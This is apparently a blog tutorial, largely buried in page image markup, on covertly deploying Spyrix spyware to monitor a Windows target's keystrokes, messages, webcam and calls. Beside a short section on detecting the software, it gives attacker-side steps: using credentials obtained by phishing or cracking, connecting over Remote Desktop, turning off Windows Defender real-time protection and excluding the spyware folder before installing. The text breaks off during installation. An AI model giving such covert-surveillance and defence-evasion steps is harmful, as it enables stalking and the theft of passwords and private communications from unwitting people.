srcset="https://substackcdn.com/image/fetch/$s_!C59_!,w_424,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!C59_!,w_848,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!C59_!,w_1272,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!C59_!,w_1456,c_limit,f_webp,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!C59_!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif" width="1000" height="333" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:333,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:15016016,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!C59_!,w_424,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 424w, https://substackcdn.com/image/fetch/$s_!C59_!,w_848,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 848w, https://substackcdn.com/image/fetch/$s_!C59_!,w_1272,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 1272w, https://substackcdn.com/image/fetch/$s_!C59_!,w_1456,c_limit,f_auto,q_auto:good,fl_lossy/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F43fd1cd8-d99b-4dcb-b3b9-7c53c649b7fc_1000x333.gif 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>It operates as spyware, meaning it runs hidden on the target system without the user&#8217;s knowledge. Once installed, Spyrix transmits captured data to a secure web-based dashboard where the monitoring party can review all recorded activity.</p><div><hr></div><blockquote><p><em><strong>Disclaimer:</strong> <strong>This guide is intended for educational purposes only</strong>. Installing monitoring software on systems without authorization is illegal and may result in criminal prosecution. The author is not responsible for misuse of this information.</em></p></blockquote><div><hr></div><h3><strong>Table of Contents</strong></h3><ol><li><p>Overview</p></li><li><p>Disclaimer</p></li><li><p>Core Capabilities</p></li><li><p>Stealth Features</p></li><li><p>Detecting Spyrix on a System</p></li><li><p>Installation Requirements</p></li><li><p>Spyrix Demo: Surveillance on Windows</p><ul><li><p>Part 1: Setting Up Spyrix on the Attacker Machine</p></li><li><p>Part 2: Establish Remote Desktop Connection to Target</p></li><li><p>Part 3: Installing Spyrix on the Target System</p></li><li><p>Part 4: Verifying the Connection</p></li><li><p>Part 5: Generating Target User Activity</p></li><li><p>Part 6: Monitoring User Activity from Spyrix</p></li><li><p>Part 7: Generating a Monitoring Report</p></li></ul></li><li><p>Understanding the Collected Data</p></li><li><p>Summary</p></li></ol><div><hr></div><h2><strong>Core Capabilities</strong></h2><p>Spyrix provides a comprehensive suite of monitoring features:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YSft!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YSft!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 424w, https://substackcdn.com/image/fetch/$s_!YSft!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 848w, https://substackcdn.com/image/fetch/$s_!YSft!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 1272w, https://substackcdn.com/image/fetch/$s_!YSft!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YSft!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png" width="800" height="500" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:500,&quot;width&quot;:800,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:140650,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YSft!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 424w, https://substackcdn.com/image/fetch/$s_!YSft!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 848w, https://substackcdn.com/image/fetch/$s_!YSft!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 1272w, https://substackcdn.com/image/fetch/$s_!YSft!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0afdf00e-4948-426a-a63e-194bef14a6dc_800x500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p><strong>Keystroke logging</strong> captures every key pressed on the target system, including passwords, messages, search queries, and any other typed content. This data is logged with timestamps and associated application context, so you can see exactly what was typed and where.</p></li><li><p><strong>Platform monitoring</strong> tracks activity across popular communication applications including Facebook, WhatsApp, Skype, and email clients. This allows surveillance of social media interactions, instant messages, and email correspondence.</p></li><li><p><strong>Screenshot capture</strong> automatically takes periodic screenshots of the target system&#8217;s display. These images provide visual confirmation of what the user was viewing at any given time.</p></li><li><p><strong>Live viewing</strong> enables real-time observation of the target screen as the user works. This feature streams the current display to your monitoring dashboard, allowing you to watch activity as it happens.</p></li><li><p><strong>Webcam monitoring</strong> captures images or video from the target system&#8217;s webcam, either on demand or through continuous recording.</p></li><li><p><strong>Screen recording</strong> provides continuous video capture of all on-screen activity, creating a complete visual record that can be reviewed later.</p></li><li><p><strong>Web browsing history</strong> logs all websites visited, including URLs, page titles, and visit timestamps.</p></li><li><p><strong>Application monitoring</strong> tracks which programs are launched, how long they remain active, and when they are closed.</p></li><li><p><strong>Call recording</strong> captures video calls from WhatsApp, Facebook, Viber, Skype, Slack, Zoom, and Telegram.</p></li><li><p><strong>Face recognition</strong>, available in PRO and Business tiers, photographs and identifies everyone who accesses the monitored device.</p></li></ul><div><hr></div><h2><strong>Stealth Features</strong></h2><p>Spyrix operates in a hidden mode by default. It does not appear in the Windows Start Menu, Desktop, or the Add/Remove Programs list in Control Panel. </p><p>The software runs as a background process with a non-descriptive name to avoid drawing attention in Task Manager.</p><div><hr></div><h2><strong>Detecting Spyrix on a System</strong></h2><p>Spyrix is detectable on a system due to the following factors:</p><ul><li><p><strong>Antivirus and anti-malware software frequently flag Spyrix</strong> as a Potentially Unwanted Program (PUP) or outright malware. Most commercial security solutions maintain signatures for known spyware applications, and Spyrix is well-documented in these databases. Before installation, attackers typically disable or create exclusions in the target system&#8217;s security software.</p></li><li><p><strong>Network traffic analysis can reveal Spyrix activity.</strong> The software must transmit captured data to remote servers, generating outbound network connections that security monitoring tools or firewalls may flag as suspicious. The traffic patterns, destination addresses, and data volumes can indicate surveillance software is present.</p></li><li><p><strong>Process and service enumeration</strong> <strong>can uncover Spyrix.</strong> While the process names are designed to appear innocuous, detailed inspection of running processes, loaded DLLs, and system services can reveal the software&#8217;s presence.</p></li><li><p><strong>Registry entries and file system artifacts remain on the target system.</strong> Forensic analysis of the Windows Registry, installed services, scheduled tasks, and file system can identify Spyrix installation even when the software attempts to hide.</p></li><li><p><strong>Behavioral indicators such as unusual system behavior </strong>such as slowdowns, unexpected disk activity, webcam lights activating without user action, or unexplained network traffic may alert observant users to surveillance activity.</p></li></ul><div><hr></div><h2><strong>Installation Requirements</strong></h2><p>Installing Spyrix requires administrative privileges on the target system. </p><p>The installer must be executed with elevated permissions, which means you need either physical access to an unlocked administrator session or valid administrator credentials for remote installation.</p><p>The installation process requires user interaction unless specifically configured for silent deployment. </p><p>Enterprise versions of similar monitoring software often support silent installation through command-line parameters or Group Policy deployment, but the standard Spyrix Personal Monitor installer presents a graphical wizard.</p><div><hr></div><h2>Spyrix Demo: Surveillance on Windows</h2><p>In the following demo, we will install Spyrix Personal Monitor on a target Windows system using Remote Desktop access and then use the web dashboard to monitor user activity. Our attacker machine is also on Windows.</p><div><hr></div><h3><strong>Part 1: Setting Up Spyrix on Windows Server 2022</strong></h3><p>This section covers installing Spyrix on a target machine and creating the monitoring account that will receive captured data.</p><ol><li><p>Log in to your attacker workstation, which will serve as the system where you monitor the collected surveillance data.</p></li><li><p>Download Spyrix from <a href="https://www.spyrix.com/download.php">https://www.spyrix.com/download.php</a> and navigate to the installation folder. Double-click the installer file to launch the installation wizard.</p></li><li><p>The installation wizard begins with a Welcome screen that requests an email address for online monitoring. Leave this field blank for now and click Next. You will register for an account separately in the following steps.</p></li><li><p>Proceed through the remaining installation screens using the default options. On the final screen, ensure the checkbox labeled &#8220;Sign in your Online Monitoring account&#8221; is selected. This option opens the Spyrix web portal after installation completes. Click Finish.</p></li><li><p>Your default web browser opens to the Spyrix web portal. Since you do not yet have an account, click Register to create one.</p></li><li><p>On the Account Registration page, enter an email address and create a password. This account will serve as your central dashboard for monitoring all systems where Spyrix is installed. <br><br>Click Sign Up to complete registration. After the account is created, minimize the browser window but keep it open for later use.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!W9mu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!W9mu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 424w, https://substackcdn.com/image/fetch/$s_!W9mu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 848w, https://substackcdn.com/image/fetch/$s_!W9mu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 1272w, https://substackcdn.com/image/fetch/$s_!W9mu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!W9mu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png" width="1456" height="1031" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1031,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1047081,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!W9mu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 424w, https://substackcdn.com/image/fetch/$s_!W9mu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 848w, https://substackcdn.com/image/fetch/$s_!W9mu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 1272w, https://substackcdn.com/image/fetch/$s_!W9mu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e372074-4636-4eb8-a82c-b68fd5f57b68_2568x1818.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 2: Establish Remote Desktop Connection to Target</strong></h3><ol start="7"><li><p>To install Spyrix on the target system, you need remote or physical access to that machine. In this demo, we&#8217;ll use Windows Remote Desktop Protocol (RDP) to connect to the target. In a real scenario, these credentials would have been obtained through techniques such as password cracking, phishing, or credential harvesting.</p></li><li><p>On your attacker machine, click the search field in the taskbar, type Remote, and select Remote Desktop Connection from the search results.</p></li><li><p>The Remote Desktop Connection window opens. In the Computer field, enter the IP address of your target system click &#8216;Connect&#8217;. </p></li><li><p>A Windows Security prompt appears requesting the password. Enter the password for the compromised account and click OK.</p></li><li><p>A security warning dialog appears indicating that the identity of the remote computer cannot be verified. This warning appears because the connection is not using a trusted certificate. Click Yes to proceed.</p></li></ol><blockquote><p>Important: Remote Desktop connections require the target machine to be powered on and accessible over the network. If the connection fails, verify that the target system is running.</p></blockquote><p>The Remote Desktop session establishes successfully, and you now see the Desktop of the target system. A Networks prompt may appear asking whether you want your PC to be discoverable by other devices on this network. Click Yes to dismiss this prompt.</p><p>If Server Manager launches automatically, close it to clear your workspace. Minimize the Remote Desktop Connection window but keep the session active.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xbUN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xbUN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 424w, https://substackcdn.com/image/fetch/$s_!xbUN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 848w, https://substackcdn.com/image/fetch/$s_!xbUN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 1272w, https://substackcdn.com/image/fetch/$s_!xbUN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xbUN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif" width="1000" height="750" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:750,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1823755,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/gif&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/181485193?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xbUN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 424w, https://substackcdn.com/image/fetch/$s_!xbUN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 848w, https://substackcdn.com/image/fetch/$s_!xbUN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 1272w, https://substackcdn.com/image/fetch/$s_!xbUN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fae3ba318-9798-4866-8ca5-73e048ba5b83_1000x750.gif 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h3><strong>Part 3: Installing Spyrix on the Target System</strong></h3><p>With remote access established, you can now deploy the Spyrix monitoring software to the target machine. This simulates how an attacker with remote access would install surveillance tools.</p><p>Before downloading and installing Spyrix, you must disable Windows Defender and add an exclusion for the Spyrix installation folder on the target system. </p><p>Spyrix is flagged as a Potentially Unwanted Program by most security software, and the installation will fail or be quarantined if these steps are not completed.</p><ol start="12"><li><p>To disable the antivirus on the target system, press Win+R to open the Run dialog. Type windowsdefender://threat in the Open field and press Enter. This opens the Virus &amp; threat protection settings directly. Alternatively, you can open Settings, navigate to Update &amp; Security, select Windows Security, and then click Virus &amp; threat protection.</p></li><li><p>In the Virus &amp; threat protection window, click &#8220;Manage settings&#8221; under Virus &amp; threat protection settings.</p></li><li><p>Locate the Real-time protection toggle and turn it off. Windows may display a User Account Control prompt, so click Yes to confirm.</p></li><li><p>Scroll down to the Exclusions section and click &#8220;Add or remove exclusions&#8221; to add an exclusion for the Spyrix installation folder.</p></li><li><p>Click &#8220;+ Add an exclusion&#8221; and select &#8220;Folder&#8221; from the dropdown menu. Enter the path C:\ProgramData\Security Monitor\ and click &#8220;Select folder&#8221; to add the exclusion.</p></li><li><p>On your attacker machine, return to the Spyrix dashboard in your browser. After logging in, you will see the &#8220;Adding computers&#8221; section which displays download options. Select your target platform (Windows or macOS) and choose the appropriate product tier. Click &#8220;Proceed to download&#8221; to download the installer file.</p></li><li><p>The download page displays a password required to extract the downloaded ZIP file. Make note of this password before proceeding.</p></li><li><p>Navigate to the folder where the installer was downloaded and extract the ZIP file using the password provided.</p></li><li><p>Right-click on the extracted installer file and select Copy.</p></li></ol><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8M6s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F994a3b42-16c3-419a-9278-79edfa34cf63_1000x750.gif" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 